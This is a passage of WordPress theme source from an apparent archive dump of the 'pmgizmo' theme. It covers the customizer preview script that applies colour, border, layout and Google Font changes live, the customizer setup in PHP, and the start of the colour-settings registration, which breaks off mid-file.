	wp.customize( 'pmthemes_theme_options[footer_texts_borders]', function( value ) {
		value.bind( function( newval ) {
			$('#footer-widgets .widget ul li')
			.css('border-bottom', '1px solid ' +  newval );
		} );
	} );
	/* Footer Widgets Background Color */
	if (wp.customize( 'pmthemes_theme_options[fwidget_gradient_enable]' )() == 1) {
		var fwidget_backgr = wp.customize( 'pmthemes_theme_options[footer_widgets_color]' )();
		var fwidget_grad_ient = wp.customize( 'pmthemes_theme_options[fwidget_grad_ient]' )();
		var fwidget_grad_dir = wp.customize( 'pmthemes_theme_options[fwidget_gr_dir]' )();
		wp.customize( 'pmthemes_theme_options[footer_widgets_color]', function( value ) {
			value.bind( function( to ) {
                fwidget_backgr = to;
				$( '#footer-widgets-bg' ).css( {
					'background': 'linear-gradient( '
						.concat( fwidget_grad_dir ).concat(' , ' )
						.concat( fwidget_backgr ).concat(' , ' )
						.concat( fwidget_grad_ient ).concat( ' )' )
				} );
			} );
		} );
		/* Header Background Gradient Effect */
		wp.customize( 'pmthemes_theme_options[fwidget_grad_ient]', function( value ) {
			value.bind( function( to ) {
                fwidget_grad_ient = to;
				$( '#footer-widgets-bg' ).css(
					{'background': 'linear-gradient( '
						.concat( fwidget_grad_dir ).concat(' , ' )
						.concat( fwidget_backgr ).concat( ' , ' )
						.concat( fwidget_grad_ient ).concat( ' )' )
					}
				);
			} );
		} );
	} else {
		/* Plain Footer Widget Background Color */
        wp.customize( 'pmthemes_theme_options[footer_widgets_color]', function( value ) {
            value.bind( function( newval ) {
                $('#footer-widgets-bg')
                    .css('background', newval );
            } );
        } );
	}
    wp.customize( 'pmthemes_theme_options[footer_each_widget]', function( value ) {
        value.bind( function( newval ) {
            $('#footer-widgets .widget')
                .css('background', newval );
        } );
    } );
    wp.customize( 'pmthemes_theme_options[footer_widgets_header_title]', function( value ) {
        value.bind( function( newval ) {
            $('#footer-widgets .widgettitle')
                .css('color', newval );
        } );
    } );
    wp.customize( 'pmthemes_theme_options[footer_widgets_header_bg]', function( value ) {
        value.bind( function( newval ) {
            $('#footer-widgets .widgettitle')
                .css('background', newval );
        } );
    } );
	wp.customize( 'pmthemes_theme_options[footer_texts_colol]', function( value ) {
		value.bind( function( to ) {
			var $child = $( '.customizer-footer_texts_colol' );
			if ( to ) {
				var style = '<style class="customizer-footer_texts_colol">#footer-text, #footer-text a:link, #footer-text a:visited, #footernav-menu a:link, #footernav-menu a:visited, #footernav-menu li:before{ color: ' + to + '; }</style>';
				if ( $child.length ) {
					$child.replaceWith( style );
				} else {
					$( 'head' ).append( style );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	wp.customize( 'pmthemes_theme_options[footer_color]', function( value ) {
		value.bind( function( newval ) {
			$('#footer')
				.css('background', newval );
		} );
	} );



	wp.customize( 'pmthemes_theme_options[footer_top_brdr]', function( value ) {
		value.bind( function( newval ) {
			$('#footer')
			.css('border-top', '1px solid ' +  newval );
		} );
	} );
    wp.customize( 'pmthemes_theme_options[footer_bottom_brdr]', function( value ) {
        value.bind( function( newval ) {
            $('#footer')
                .css('border-bottom', '1px solid ' +  newval );
        } );
    } );
    // Footer Top Border Color & Height
	var footer_top_brdr_hei = wp.customize( 'pmthemes_theme_options[footer_top_brdr_hei]' )();
	var footer_top_brdr = wp.customize( 'pmthemes_theme_options[footer_top_brdr]' )();
	wp.customize( 'pmthemes_theme_options[footer_top_brdr_hei]', function( value ) {
		value.bind( function( to ) {
			footer_top_brdr_hei = to;
			$( '#footer' ).css( {
				'border-top': ' '
					.concat( footer_top_brdr_hei ).concat( 'px solid' )
					.concat( footer_top_brdr ).concat( ' ' )
			} );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[footer_top_brdr]', function( value ) {
		value.bind( function( to ) {
			footer_top_brdr = to;
			$( '#footer' ).css(
				{'border-top': ' '
					.concat( footer_top_brdr_hei ).concat( 'px solid' )
					.concat( footer_top_brdr ).concat( ' ' )
				}
			);
		} );
	} );
	// Footer Bottom Border Color & Height
	var footer_bot_brdr_hei = wp.customize( 'pmthemes_theme_options[footer_bot_brdr_hei]' )();
	var footer_bottom_brdr = wp.customize( 'pmthemes_theme_options[footer_bottom_brdr]' )();
	wp.customize( 'pmthemes_theme_options[footer_bot_brdr_hei]', function( value ) {
		value.bind( function( to ) {
			footer_bot_brdr_hei = to;
			$( '#footer' ).css( {
				'border-bottom': ' '
					.concat( footer_bot_brdr_hei ).concat( 'px solid' )
					.concat( footer_bottom_brdr ).concat( ' ' )
			} );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[footer_bottom_brdr]', function( value ) {
		value.bind( function( to ) {
			footer_bottom_brdr = to;
			$( '#footer' ).css(
				{'border-bottom': ' '
						.concat( footer_bot_brdr_hei ).concat( 'px solid' )
						.concat( footer_bottom_brdr ).concat( ' ' )
				}
			);
		} );
	} );
	// Layout Style
	wp.customize( 'pmthemes_theme_options[theme_style]', function( value ) {
		value.bind( function( newval ) {
			if ( 'boxed-one' == newval ) {
				$( 'body' ).removeClass( 'wide-header' ).removeClass( 'wide-header' );
			}
			if ( 'wide-head' == newval ) {
				$( 'body' ).addClass( 'wide-header' ).addClass( 'wide-header' );
			}
		} );
	} );
	// Sidebar Location
	wp.customize( 'pmthemes_theme_options[layout]', function( value ) {
		value.bind( function( newval ) {
			if ( 'right-sidebar' == newval ) {
				$( 'body' ).removeClass( 'rlayout' ).removeClass( 'rlayout' );
			}
			if ( 'left-sidebar' == newval ) {
				$( 'body' ).addClass( 'rlayout' ).addClass( 'rlayout' );
			}
		} );
	} );
	/* Theme Styles */
	wp.customize( 'pmthemes_theme_options[theme_styles]', function( value ) {
		value.bind( function( newval ) {
			// Embed Style
			var style_dir_uri = pmth_js_uri.themeUrl;
			var preDefinedStyle = newval.split(" ").join("+");
			var styleDir = ""+style_dir_uri+"/css/styles/"+preDefinedStyle+".css";
			var theNewStyle = "<link id='pmthemes-custom-css' href='"+styleDir+"' rel='stylesheet' type='text/css'>";
			var checkLink = $("head").find("#pmthemes-custom-css").length;
			if (checkLink > 0) {
				$("head").find("#pmthemes-custom-css").remove();
			}
			$("head").append(theNewStyle);
		} );
	} );
	// Theme Width
	var themewd = ['wd1', 'wd2', 'wd3','wd4', 'wd5', 'wd6','wd7', 'wd8', 'wd9','wd10'];
	wp.customize( 'pmthemes_theme_options[theme_width]', function( value ) {
		value.bind( function( newval ) {
			var theme_width = $( 'body' );
			if ( theme_width.length ) {
				$.each( themewd, function( i, v ) {
					theme_width.removeClass( v );
				});
				theme_width.addClass( newval );
			}
		});
	});
	// Grid Item Width
	var gridwd = ['one-column', 'one-hundred', 'one-fifty','two-hundred', 'two-fifty', 'three-hundred','three-fifty', 'four-hundred', 'four-fifty','five-hundred'];
	wp.customize( 'pmthemes_theme_options[pmth_grid_width]', function( value ) {
		value.bind( function( newval ) {
			var grid_width = $( '.pmth-grid' );
			if ( grid_width.length ) {
				$.each( gridwd, function( i, v ) {
					grid_width.removeClass( v );
				});
				grid_width.addClass( newval );
			}
		});
	});
	// Grid Column Nos.
	var gridcol = ['one-col', 'two-col', 'three-col','four-col', 'five-col', 'six-col','seven-col', 'eight-col', 'nine-col','ten-col','eleven-col','twelve-col'];
	wp.customize( 'pmthemes_theme_options[pmth_grid_column]', function( value ) {
		value.bind( function( newval ) {
			var grid_colmn = $( '.pmth-grid' );
			if ( grid_colmn.length ) {
				$.each( gridcol, function( i, v ) {
					grid_colmn.removeClass( v );
				});
				grid_colmn.addClass( newval );
			}
		});
	});
	// Archive Image Alignment
	var imgalg = ['alignleft', 'alignright', 'aligncenter','alignnone'];
	wp.customize( 'pmthemes_theme_options[pmth_arc_align_img]', function( value ) {
		value.bind( function( newval ) {
			var img_align = $( '.wp-post-image' );
			if ( img_align.length ) {
				$.each( imgalg, function( i, v ) {
					img_align.removeClass( v );
				});
				img_align.addClass( newval );
			}
		});
	});

	// Align Archive Title
	var titlealg = ['pmthleft', 'pmthrigth', 'pmthcenter','pmthjustify', 'pmthnone'];
	wp.customize( 'pmthemes_theme_options[pmth_arc_align_header]', function( value ) {
		value.bind( function( newval ) {
			var talign = $( '.archive-title' );
			if ( talign.length ) {
				$.each( titlealg, function( i, v ) {
					talign.removeClass( v );
				});
				talign.addClass( newval );
			}
		});
	});

	// Read More Label
	wp.customize( 'pmthemes_theme_options[excerpt_text]', function( value ) {
		value.bind( function( to ) {
			$( '.more-link' ).text( to );
		} );
	} );
	// Related Header Title
	wp.customize( 'pmthemes_theme_options[related_header_title]', function( value ) {
		value.bind( function( to ) {
			$( '.reltitle' ).text( to );
		} );
	} );

	// Footer Text
	wp.customize( 'pmthemes_theme_options[footer_text]', function( value ) {
		value.bind( function( to ) {
			$( '#footer-text' ).text( to );
		} );
	} );

	/* Theme Fonts */
	wp.customize( 'pmthemes_theme_options[text_font]', function( value ) {
		value.bind( function( newval ) {
			// Embed Font
			var fontFamilyUrl = newval.split(" ").join("+");
			var googleFontPath = "https://fonts.googleapis.com/css?family="+fontFamilyUrl;
			var googleFontSource = "<link id='pmthemes-custom-text-font' href='"+googleFontPath+"' rel='stylesheet' type='text/css'>";
			var checkLink = $("head").find("#pmthemes-custom-text-font").length;

			if (checkLink > 0) {
				$("head").find("#pmthemes-custom-text-font").remove();
			}
			$("head").append(googleFontSource);
			// Set CSS
			$('body, input, textarea')
				.css('font-family', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[site_title_font]', function( value ) {
		value.bind( function( newval ) {
			// Embed Font
			var fontFamilyUrl = newval.split(" ").join("+");
			var googleFontPath = "https://fonts.googleapis.com/css?family="+fontFamilyUrl;
			var googleFontSource = "<link id='pmthemes-custom-site-title-font' href='"+googleFontPath+"' rel='stylesheet' type='text/css'>";
			var checkLink = $("head").find("#pmthemes-custom-site-title-font").length;

			if (checkLink > 0) {
				$("head").find("#pmthemes-custom-site-title-font").remove();
			}
			$("head").append(googleFontSource);
			// Set CSS
			$('#logo .site-title')
				.css('font-family', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[title_font]', function( value ) {
		value.bind( function( newval ) {
			// Embed Font
			var fontFamilyUrl = newval.split(" ").join("+");
			var googleFontPath = "https://fonts.googleapis.com/css?family="+fontFamilyUrl;
			var googleFontSource = "<link id='pmthemes-custom-title-font' href='"+googleFontPath+"' rel='stylesheet' type='text/css'>";
			var checkLink = $("head").find("#pmthemes-custom-title-font").length;
			if (checkLink > 0) {
				$("head").find("#pmthemes-custom-title-font").remove();
			}
			$("head").append(googleFontSource);
			// Set CSS
			$('.page-title, .post-title, #frontpage-slider .pmsslide .slide-entry .slide-title, #comments .comments-title, #respond #reply-title')
				.css('font-family', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[navi_font]', function( value ) {
		value.bind( function( newval ) {
			// Embed Font
			var fontFamilyUrl = newval.split(" ").join("+");
			var googleFontPath = "https://fonts.googleapis.com/css?family="+fontFamilyUrl;
			var googleFontSource = "<link id='pmthemes-custom-navi-font' href='"+googleFontPath+"' rel='stylesheet' type='text/css'>";
			var checkLink = $("head").find("#pmthemes-custom-navi-font").length;
			if (checkLink > 0) {
				$("head").find("#pmthemes-custom-navi-font").remove();
			}
			$("head").append(googleFontSource);
			// Set CSS
			$('.nav-menu li a, #topnav-menu a')
				.css('font-family', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[widget_title_font]', function( value ) {
		value.bind( function( newval ) {
			// Embed Font
			var fontFamilyUrl = newval.split(" ").join("+");
			var googleFontPath = "https://fonts.googleapis.com/css?family="+fontFamilyUrl;
			var googleFontSource = "<link id='pmthemes-custom-widget-title-font' href='"+googleFontPath+"' rel='stylesheet' type='text/css'>";
			var checkLink = $("head").find("#pmthemes-custom-widget-title-font").length;
			if (checkLink > 0) {
				$("head").find("#pmthemes-custom-widget-title-font").remove();
			}
			$("head").append(googleFontSource);
			// Set CSS
			$('.widgettitle, #frontpage-magazine-widgets .widget .widgettitle')
				.css('font-family', newval );
		} );
	} );
    });
})(jQuery);pmgizmo/inc/customizer/customizer.php000064400000010326152223213640014122 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Load Customizer Helper Functions
require get_template_directory() . '/inc/customizer/functions/custom-controls.php';
require get_template_directory() . '/inc/customizer/functions/active-callbacks.php';
require get_template_directory() . '/inc/customizer/functions/sanitize-functions.php';
require get_template_directory() . '/inc/customizer/functions/custom-font-lists.php';
// Load Customizer Settings
require get_template_directory() . '/inc/customizer/sections/customizer-colors.php';
require get_template_directory() . '/inc/customizer/sections/customizer-fonts.php';
require get_template_directory() . '/inc/customizer/sections/customizer-general.php';
require get_template_directory() . '/inc/customizer/sections/customizer-header.php';
require get_template_directory() . '/inc/customizer/sections/customizer-title.php';
require get_template_directory() . '/inc/customizer/sections/customizer-navi.php';
require get_template_directory() . '/inc/customizer/sections/customizer-sidebar.php';
require get_template_directory() . '/inc/customizer/sections/customizer-post.php';
require get_template_directory() . '/inc/customizer/sections/customizer-archive.php';
require get_template_directory() . '/inc/customizer/sections/customizer-slider.php';
require get_template_directory() . '/inc/customizer/sections/customizer-footer.php';
// Add Theme Options section to Customizer
add_action( 'customize_register', 'pmthemes_customize_register_options' );
function pmthemes_customize_register_options( $wp_customize ) {
    // Register custom controls
    if ( method_exists( $wp_customize,'register_control_type' ) ) {
        $wp_customize->register_control_type( 'Pmthemes_Control_Toggle' );
        $wp_customize->register_control_type( 'Pmthemes_Spacing_Control' );
    }
	// Add Theme Options Panel
	$wp_customize->add_panel( 'pmthemes_options_panel', array(
		'priority'       => 1,
		'capability'     => 'edit_theme_options',
		'theme_supports' => '',
		'title'          => __( 'Theme Settings', 'pmthemes' ),
		'description'    => '',
	) );
	// Add Color Options Panel
	$wp_customize->add_panel( 'pmthemes_colors_panel', array(
		'priority'       => 102,
		'capability'     => 'edit_theme_options',
		'theme_supports' => '',
		'title'          => __( 'Colors', 'pmthemes' ),
		'description'    => '',
	) );
    // Add Section for Theme Fonts
    $wp_customize->add_section( 'pmthemes_section_fonts', array(
            'priority' => 101,
            'capability'     => 'edit_theme_options',
            'theme_supports' => '',
            'title'    => __( 'Fonts', 'pmthemes' ),
            'description'    => '',
        )
    );
	// Add postMessage support for site title and description.
	$wp_customize->get_setting( 'blogname' )->transport         = 'postMessage';
	$wp_customize->get_setting( 'blogdescription' )->transport  = 'postMessage';
	// Organize Customizer Area
	$wp_customize->get_control( 'background_color'  )->section   = 'background_image';
	$wp_customize->get_section( 'background_image'  )->title     = 'Site Background';
	$wp_customize->get_section('static_front_page')->title = __( 'Front Page Settings', 'pmthemes' );
	$wp_customize->get_section('static_front_page')->panel = 'pmthemes_options_panel';
	$wp_customize->get_section('static_front_page')->priority = 5;
}
// Embed JS file to make Theme Customizer preview reload changes asynchronously.
add_action( 'customize_preview_init', 'pmthemes_customize_preview_js' );
function pmthemes_customize_preview_js() {
	wp_enqueue_script( 'pmthemes-customizer-js', PMTHEMES_URI . '/inc/customizer/assets/js/customizer-preview.js', array( 'customize-preview' ), '20150423', true );
    // Localize our script
    $translation_array = array( 'themeUrl' => get_template_directory_uri());
    wp_localize_script( 'pmthemes-customizer-js', 'pmth_js_uri', $translation_array );
}
// Embed CSS styles for Theme Customizer
add_action( 'customize_controls_print_styles', 'pmthemes_customize_preview_css' );
function pmthemes_customize_preview_css() {
	wp_enqueue_style( 'pmthemes-customizer-css', PMTHEMES_URI . '/inc/customizer/assets/css/customizer.css', array(), '20150423' );
}pmgizmo/inc/customizer/sections/customizer-colors.php000064400000275266152223213640017270 0ustar00<?php
/**
 * Register Theme Colors section, Settings and controls for Theme Customizer
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Theme Colors Settings
add_action( 'customize_register', 'pmthemes_customize_register_color_settings' );
function pmthemes_customize_register_color_settings( $wp_customize ) {
    // Get defaults
    $theme_def = pmthemes_default_options();
    // General Colors Sub-section
	$wp_customize->add_section( 'pmthemes_general_colors', array(
        'title'    => __( 'General Colors', 'pmthemes' ),
        'priority' => 2,
		'panel' => 'pmthemes_colors_panel' 
		)
	);
    // Header Colors Sub-section
	$wp_customize->add_section( 'pmthemes_header_colors', array(
        'title'    => __( 'Header Colors', 'pmthemes' ),
        'priority' => 4,
		'panel' => 'pmthemes_colors_panel' 
		)
	);
    // Top Menu Colors Sub-section
	$wp_customize->add_section( 'pmthemes_navi_tops', array(
        'title'    => __( 'Top Menu Colors', 'pmthemes' ),
        'priority' => 6,
		'panel' => 'pmthemes_colors_panel' 
		)
	);
    // Main Menu Colors Sub-section
	$wp_customize->add_section( 'pmthemes_navi_colors', array(
        'title'    => __( 'Main Menu Colors', 'pmthemes' ),
        'priority' => 8,
		'panel' => 'pmthemes_colors_panel' 
		)
	);
    // Front Page Colors Sub-section
    $wp_customize->add_section( 'pmthemes_homepage_colors', array(
            'title'    => __( 'Front Page Colors', 'pmthemes' ),
            'priority' => 10,
            'panel' => 'pmthemes_colors_panel'
        )
    );
    // Sidebar & Widgets Colors Sub-section
	$wp_customize->add_section( 'pmthemes_sidebar_colors', array(
        'title'    => __( 'Sidebar & Widgets', 'pmthemes' ),
        'priority' => 12,
		'panel' => 'pmthemes_colors_panel' 
		)
	);
    // Footer Widgets Colors Sub-section
	$wp_customize->add_section( 'pmthemes_footwgts_colors', array(
        'title'    => __( 'Footer Widgets Colors', 'pmthemes' ),
        'priority' => 14,
		'panel' => 'pmthemes_colors_panel' 
		)
	);
    // Footer Colors Sub-section
	$wp_customize->add_section( 'pmthemes_footer_colors', array(
        'title'    => __( 'Footer Colors', 'pmthemes' ),
        'priority' => 16,
		'panel' => 'pmthemes_colors_panel' 
		)
	);
    //============ Header Colors Sub-section =========
    // Default Text Colors
	$wp_customize->add_setting( 'pmthemes_theme_options[default_text_color]', array(
        'default'           => $theme_def['default_text_color'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);

	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'default_text_color', array(
			'label'      => __( 'Default Text Color', 'pmthemes' ),
			'section'    => 'pmthemes_general_colors',
			'settings'   => 'pmthemes_theme_options[default_text_color]',
		) ) 
	);
	$wp_customize->add_setting( 'pmthemes_theme_options[title_color]', array(
        'default'           => $theme_def['title_color'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'title_color', array(
			'label'      => __( 'Post Title Color', 'pmthemes' ),
			'section'    => 'pmthemes_general_colors',
			'settings'   => 'pmthemes_theme_options[title_color]',
		) ) 
	);
	// Link Color
	$wp_customize->add_setting( 'pmthemes_theme_options[link_color]', array(
        'default'           => $theme_def['link_color'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'link_color', array(
			'label'      => __( 'Link Color', 'pmthemes' ),
			'section'    => 'pmthemes_general_colors',
			'settings'   => 'pmthemes_theme_options[link_color]',
		) ) 
	);
    // Body Borders
    $wp_customize->add_setting( 'pmthemes_theme_options[body_borders_color]', array(
            'default'           => $theme_def['body_borders_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'body_borders_color', array(
            'label'      => __( 'Body Borders', 'pmthemes' ),
            'section'    => 'pmthemes_general_colors',
            'settings'   => 'pmthemes_theme_options[body_borders_color]',
            'active_callback' => 'pmthemes_wide_header_active',
        ) )
    );
    // Header => Comment Button
    $wp_customize->add_setting( 'pmthemes_theme_options[comment_btn_hd]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_comment_btn_hd', array(
                'label' => __( 'Comment Submit Button', 'pmthemes' ),
                'section' => 'pmthemes_general_colors',
                'settings' => 'pmthemes_theme_options[comment_btn_hd]',
                'active_callback' => 'pmthemes_comment_btn_active',
            )
        )
    );
    // Comment Button Background Color
    $wp_customize->add_setting( 'pmthemes_theme_options[cmbtn_bg_color]', array(
            'default'           => $theme_def['cmbtn_bg_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'cmbtn_bg_color', array(
            'label'      => __( 'Comment Button Color', 'pmthemes' ),
            'section'    => 'pmthemes_general_colors',
            'settings'   => 'pmthemes_theme_options[cmbtn_bg_color]',
            'active_callback' => 'pmthemes_comment_btn_active',
        ) )
    );
    // Comment Button Text Color
    $wp_customize->add_setting( 'pmthemes_theme_options[cmbtn_text_color]', array(
            'default'           => $theme_def['cmbtn_text_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'cmbtn_text_color', array(
            'label'      => __( 'Text Color', 'pmthemes' ),
            'section'    => 'pmthemes_general_colors',
            'settings'   => 'pmthemes_theme_options[cmbtn_text_color]',
            'active_callback' => 'pmthemes_comment_btn_active',
        ) )
    );
    // Comment Button Hover Color
    $wp_customize->add_setting( 'pmthemes_theme_options[cmbtn_btn_hover]', array(
            'default'           => $theme_def['cmbtn_btn_hover'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'cmbtn_btn_hover', array(
            'label'      => __( 'Button Hover Color', 'pmthemes' ),
            'section'    => 'pmthemes_general_colors',
            'settings'   => 'pmthemes_theme_options[cmbtn_btn_hover]',
            'active_callback' => 'pmthemes_comment_btn_active',
        ) )
    );
    // Header => Scroll to Top Button
    $wp_customize->add_setting( 'pmthemes_theme_options[sctop_bg_hd]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_sctop_bg_hd', array(
                'label' => __( 'Scroll to Top', 'pmthemes' ),
                'section' => 'pmthemes_general_colors',
                'settings' => 'pmthemes_theme_options[sctop_bg_hd]',
                'active_callback' => 'pmthemes_scroll_top_active',
            )
        )
    );
    // Scroll to Top Button Background Color
	$wp_customize->add_setting( 'pmthemes_theme_options[sctop_bg_color]', array(
        'default'           => $theme_def['sctop_bg_color'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'sctop_bg_color', array(
			'label'      => __( 'Button Color', 'pmthemes' ),
			'section'    => 'pmthemes_general_colors',
			'settings'   => 'pmthemes_theme_options[sctop_bg_color]',
            'active_callback' => 'pmthemes_scroll_top_active',
		) ) 
	);
    // Scroll to Top Button Arrow Color
    $wp_customize->add_setting( 'pmthemes_theme_options[sctop_arrow_color]', array(
            'default'           => $theme_def['sctop_arrow_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'sctop_arrow_color', array(
            'label'      => __( 'Arrow Color', 'pmthemes' ),
            'section'    => 'pmthemes_general_colors',
            'settings'   => 'pmthemes_theme_options[sctop_arrow_color]',
            'active_callback' => 'pmthemes_scroll_top_active',
        ) )
    );
    // Scroll to Top Button Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[sctop_brdr_color]', array(
            'default'           => $theme_def['sctop_brdr_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'sctop_brdr_color', array(
            'label'      => __( 'Border Color', 'pmthemes' ),
            'section'    => 'pmthemes_general_colors',
            'settings'   => 'pmthemes_theme_options[sctop_brdr_color]',
            'active_callback' => 'pmthemes_scroll_top_active',
        ) )
    );
    // Scroll to Top Button Hover Color
    $wp_customize->add_setting( 'pmthemes_theme_options[sctop_hover_color]', array(
            'default'           => $theme_def['sctop_hover_color'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'sctop_hover_color', array(
            'label'      => __( 'Hover Color', 'pmthemes' ),
            'section'    => 'pmthemes_general_colors',
            'settings'   => 'pmthemes_theme_options[sctop_hover_color]',
            'active_callback' => 'pmthemes_scroll_top_active',
        ) )
    );
    //================== Header Colors Sub-section ====================
    // Site Title Color
	$wp_customize->add_setting( 'pmthemes_theme_options[site_title_color]', array(
        'default'           => $theme_def['site_title_color'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'site_title_color', array(
			'label'      => __( 'Site Title Color', 'pmthemes' ),
			'section'    => 'pmthemes_header_colors',
			'settings'   => 'pmthemes_theme_options[site_title_color]',
			'priority' => 2,
		) ) 
	);
	// Site Title Shadow
    $wp_customize->add_setting( 'pmthemes_theme_options[site_title_shadow]', array(
            'default'           => $theme_def['site_title_shadow'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'site_title_shadow', array(
            'label'      => __( 'Site Title Shadow', 'pmthemes' ),
            'section'    => 'pmthemes_header_colors',
            'settings'   => 'pmthemes_theme_options[site_title_shadow]',
            'active_callback' => 'pmthemes_site_title_shadow_active',
            'priority' => 3,
        ) )
    );
    // Enable Site Title Shadow
    $wp_customize->add_setting( 'pmthemes_theme_options[site_title_shadis]', array(
            'default'           => $theme_def['site_title_shadis'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_site_title_shadis', array(
            'label'    => __( 'Enable Site Title Shadow', 'pmthemes' ),
            'section'  => 'pmthemes_header_colors',
            'settings' => 'pmthemes_theme_options[site_title_shadis]',
            'type'     => 'checkbox',
            'priority' => 4,
        )
    );
    $wp_customize->add_setting( 'pmthemes_theme_options[site_tagline_color]', array(
            'default'           => $theme_def['site_tagline_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'site_tagline_color', array(
			'label'      => __( 'Tagline Color', 'pmthemes' ),
			'section'    => 'pmthemes_header_colors',
			'settings'   => 'pmthemes_theme_options[site_tagline_color]',
            'active_callback' => 'pmthemes_site_tagline_active',
			'priority' => 5,
		) ) 
	);
    // Header Background Title
    $wp_customize->add_setting( 'pmthemes_theme_options[header_background_title]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_header_background_title', array(
                'label' => __( 'Header Background', 'pmthemes' ),
                'section' => 'pmthemes_header_colors',
                'settings' => 'pmthemes_theme_options[header_background_title]',
                'priority' => 6,
            )
        )
    );
    // Header Background Color
	$wp_customize->add_setting( 'pmthemes_theme_options[header_backgr]', array(
        'default'           => $theme_def['header_backgr'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control(
		$wp_customize, 'header_backgr', array(
			'label'      => __( 'Header Background Color', 'pmthemes' ),
			'section'    => 'pmthemes_header_colors',
			'settings'   => 'pmthemes_theme_options[header_backgr]',
			'priority' => 7,
		) ) 
	);
    // Enable Gradient Color
    $wp_customize->add_setting( 'pmthemes_theme_options[header_gradient_enable]', array(
            'default'           => $theme_def['header_gradient_enable'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_header_gradient_enable', array(
            'label'    => __( 'Apply a Gradient Color?', 'pmthemes' ),
            'section'  => 'pmthemes_header_colors',
            'settings' => 'pmthemes_theme_options[header_gradient_enable]',
            'type'     => 'checkbox',
            'priority' => 8,
        )
    );
    // Header Background Gradient Color
    $wp_customize->add_setting( 'pmthemes_theme_options[header_grad_ient]', array(
            'default'           => $theme_def['header_grad_ient'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'header_grad_ient', array(
            'label'      => __( 'Header Bg Gradient Effect', 'pmthemes' ),
            'section'    => 'pmthemes_header_colors',
            'settings'   => 'pmthemes_theme_options[header_grad_ient]',
            'active_callback' => 'pmthemes_header_gradient_active',
            'priority' => 9,
        ) )
    );
    // Header Gradient Direction
    $wp_customize->add_setting( 'pmthemes_theme_options[header_gr_dir]', array(
            'default'           => $theme_def['header_gr_dir'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_gradient_direction'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_header_gr_dir', array(
